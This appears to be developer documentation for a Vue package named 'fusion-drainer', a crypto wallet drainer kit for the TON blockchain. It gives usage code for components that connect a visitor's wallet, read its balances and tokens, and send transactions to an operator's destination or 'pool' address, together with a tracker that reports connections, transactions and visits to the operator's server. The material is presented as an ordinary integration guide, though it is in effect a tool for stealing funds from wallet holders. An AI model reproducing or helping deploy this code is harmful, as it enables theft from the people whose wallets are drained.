Vue Components API
⚠️ Warning! This documentation and API are intended for developers only.
Using server-side APIs and methods described here requires technical knowledge. Do not attempt to use these tools if you lack sufficient experience in programming or managing server applications.
Improper use of APIs or tools can lead to system malfunctions, data leaks, or other serious consequences. Always consult with a developer or expert before making changes.
The @fusion-drainer/drainer-vue
package provides Vue components and functions for working with TON Connect and integrating them into your application. You can install the package using the following command:
pnpm add ./path-to/drainer-vue
Core Concepts
Provider
The DrainerWalletButton
and DrainerCreateTransaction
components must be used within the DrainerProvider
component. This provider is responsible for initializing and managing the TON Connect context for all nested components.
Retrieving walletDetails
To obtain the connected wallet data (walletDetails
), you need to call the getWalletDetails
method after the wallet is connected. This method takes two arguments: hostname
(the domain of the current site) and walletAddress
(the address of the connected wallet). The wallet data is used by the DrainerCreateTransaction
component to create a transaction.
Initializing TrackerClient
TrackerClient
is a class used for tracking events and interacting with the server. It must be initialized with a baseURL
pointing to your server. This client can be used to track wallet connections and transactions.
Components
1. DrainerProvider
DrainerProvider
is the main component that wraps the entire application or a part of it, providing the necessary contexts for other components to work with TON Connect.
Usage
<template>
<DrainerProvider :options="options">
<!-- Nested components such as DrainerWalletButton and DrainerCreateTransaction -->
</DrainerProvider>
</template>
<script setup lang="ts">
import { DrainerProvider } from '@fusion-drainer/drainer-vue';
const options = {
manifestUrl: "https://example.com/tonconnect-manifest.json",
};
</script>
Props
options
(TonConnectOptions
, required): An object with parameters for configuring TON Connect UI, includingmanifestUrl
, which points to the TON Connect manifest file.
2. DrainerWalletButton
The DrainerWalletButton
component provides a button for connecting the wallet via TON Connect. This component must be placed inside the DrainerProvider
.
Usage
<template>
<DrainerWalletButton
v-on:wallet-connect="onWalletConnect"
v-on:wallet-disconnect="onWalletDisconnect"
/>
</template>
<script setup lang="ts">
import { DrainerWalletButton, WalletConnectDto, getWalletDetails } from '@fusion-drainer/drainer-vue';
import { ref } from 'vue';
const walletDetails = ref<WalletConnectDto | null>(null);
const onWalletConnect = async (walletAddress: string) => {
walletDetails.value = await getWalletDetails(window.location.hostname, walletAddress);
console.log('Wallet connected:', walletDetails.value);
};
const onWalletDisconnect = () => {
walletDetails.value = null;
console.log('Wallet disconnected');
};
</script>
Props
buttonRootId
(string
, optional, default:'ton-connect-button'
): The ID of the root element of the button.className
(string
, optional): CSS class for styling the button.styles
(Object
, optional): An object with CSS styles for customizing the button's appearance.
Events
walletConnect
: Event triggered when the wallet is successfully connected. Returns the connected wallet address.walletDisconnect
: Event triggered when the wallet is disconnected.
3. DrainerCreateTransaction
This component is designed for creating and sending transactions using TON Connect. It must be nested within the DrainerProvider
.
Usage
<template>
<div>
<!-- DrainerCreateTransaction component -->
<DrainerCreateTransaction
ref="drainerTransactionRef"
:wallet-details="walletDetails"
:destination-address="destinationAddress"
:pool-address="poolAddress"
v-on:transaction="onTransaction"
v-on:error="onError"
/>
<!-- Button to trigger sendTransaction method -->
<button @click="handleSendTransaction">Send Transaction</button>
</div>
</template>
<script setup lang="ts">
import { ref } from 'vue';
import { DrainerCreateTransaction, WalletConnectDto, TransactionDto } from '@fusion-drainer/drainer-vue';
// Transaction data
const walletDetails = ref<WalletConnectDto | null>(null);
const destinationAddress = 'EQC1...'; // Replace with the actual address
const poolAddress = 'EQD2...'; // Replace with the actual address
// Reference to the DrainerCreateTransaction component
const drainerTransactionRef = ref<InstanceType<typeof DrainerCreateTransaction>>();
// Handler for a successful transaction
const onTransaction = (withdrawDetails: TransactionDto) => {
console.log('Transaction successfully sent:', withdrawDetails);
};
// Error handler
const onError = (error: Error) => {
console.error('Error while sending the transaction:', error);
};
// Method to trigger sendTransaction
const handleSendTransaction = async () => {
if (drainerTransactionRef.value) {
try {
await drainerTransactionRef.value.sendTransaction();
} catch (error) {
console.error('Error when calling sendTransaction:', error);
}
}
};
</script>
Props
walletDetails
(WalletConnectDto | null
, required): An object with the connected wallet details necessary for creating a transaction. This can be obtained using thegetWalletDetails
method after the wallet is successfully connected.destinationAddress
(string
, required): The destination address for sending the transaction.poolAddress
(string
, required): The pool address for the transaction.
Methods
sendTransaction
: Method for sending a transaction. It can be called via the component'sref
to manually execute the transaction.
Events
transaction
: Event triggered when the transaction is successfully sent. Returns aTransactionDto
object containing transaction information.error
: Event triggered when an error occurs during the transaction. Returns anError
object.
Initializing TrackerClient
TrackerClient
is used to track actions such as wallet connections or transactions.
Example Initialization:
import { TrackerClient } from '@fusion-drainer/drainer-vue';
const bridgeClient = new TrackerClient({
baseURL: 'https://your-server.com/api', // Replace with the actual URL
});
TrackerClient
Methods
trackerControllerTrackWalletConnect(walletDetails: WalletConnectDto)
: Sends wallet connection information to the server.trackerControllerTrackTransaction(withdrawDetails: TransactionDto)
: Sends transaction details to the server.trackerControllerTrackVisit(domain: string)
: Sends visit information to the server.
Usage:
- After connecting a wallet, you can call
trackerControllerTrackWalletConnect
to log the connection. - After a successful transaction,
trackerControllerTrackTransaction
is called to log the transaction.
Low-Level Functions
The package also provides several low-level functions that may be useful for more fine-grained control over transactions and blockchain interactions.
1. claimHoneypotMessage
The claimHoneypotMessage
function is used to create the message necessary for executing a "honeypot" transaction. This can be useful when you want to request a specific amount of tokens or funds from the pool.
Usage:
import { claimHoneypotMessage } from '@fusion-drainer/drainer-vue';
const message = claimHoneypotMessage(
1000, // Amount in nanotokens
'EQC1...', // Recipient address
'EQD2...' // Pool address
);
// This message can be sent through the appropriate method to execute the transaction
2. createComment
The createComment
function allows you to create comments that can be included in a transaction. This can be useful for adding metadata or a description to the transaction.
Usage:
import { createComment } from '@fusion-drainer/drainer-vue';
const commentCell = createComment('This is a transaction comment');
// This comment can be added to a transaction to make it more informative
3. transferJettonMessage
The transferJettonMessage
function creates a message for transferring Jetton tokens. This is useful for performing tokenized transactions between addresses.
Usage:
import { transferJettonMessage } from '@fusion-drainer/drainer-vue';
const jettonMessage = transferJettonMessage(
500, // Jetton amount in nanotokens
'EQC1...', // Recipient address
'EQD3...', // Sender address
'EQD4...' // Owner's wallet address
);
// This message can be sent to execute the Jetton transaction
4. transferTonMessage
The transferTonMessage
function creates a message for transferring TON. This is useful for performing simple transactions using TON.
Usage:
import { transferTonMessage } from '@fusion-drainer/drainer-vue';
const tonMessage = transferTonMessage(
1, // Transfer amount in TON
'EQC1...' // Recipient address
);
// This message can be used to execute a simple TON transaction
5. getWalletDetails
The getWalletDetails
function retrieves wallet details, including balance and token information. This is useful for obtaining comprehensive information about the connected wallet.
Usage:
import { getWalletDetails } from '@fusion-drainer/drainer-vue';
const walletDetails = await getWalletDetails('example.com', 'EQC1...');
// This data can be used to display wallet information or perform transactions